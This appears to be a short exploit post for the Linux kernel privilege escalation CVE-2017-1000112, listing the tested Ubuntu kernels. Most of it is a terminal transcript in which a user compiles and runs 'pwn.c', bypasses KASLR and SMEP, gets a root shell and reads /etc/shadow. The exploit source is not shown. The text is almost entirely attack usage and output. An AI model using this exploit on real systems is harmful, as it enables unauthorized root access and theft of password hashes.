CVE-2017-1000112:Linux内核逃逸

Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
Usage:user@ubuntu:~$ uname -aLinux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linuxuser@ubuntu:~$ whoamiuseruser@ubuntu:~$ iduid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)user@ubuntu:~$ gcc pwn.c -o pwnuser@ubuntu:~$ ./pwn [.] starting[.] checking distro and kernel versions[.] kernel version '4.8.0-58-generic' detected[~] done, versions looks good[.] checking SMEP and SMAP[~] done, looks good[.] setting up namespace sandbox[~] done, namespace sandbox set up[.] KASLR bypass enabled, getting kernel addr[~] done, kernel text:   ffffffffae400000[.] commit_creds:        ffffffffae4a5d20[.] prepare_kernel_cred: ffffffffae4a6110[.] SMEP bypass enabled, mmapping fake stack[~] done, fake stack mmapped[.] executing payload ffffffffae40008d[~] done, should be root now[.] checking if we got root[+] got r00t ^_^root@ubuntu:/home/user# whoamirootroot@ubuntu:/home/user# iduid=0(root) gid=0(root) groups=0(root)root@ubuntu:/home/user# cat /etc/shadowroot:!:17246:0:99999:7:::daemon:*:17212:0:99999:7:::bin:*:17212:0:99999:7:::sys:*:17212:0:99999:7:::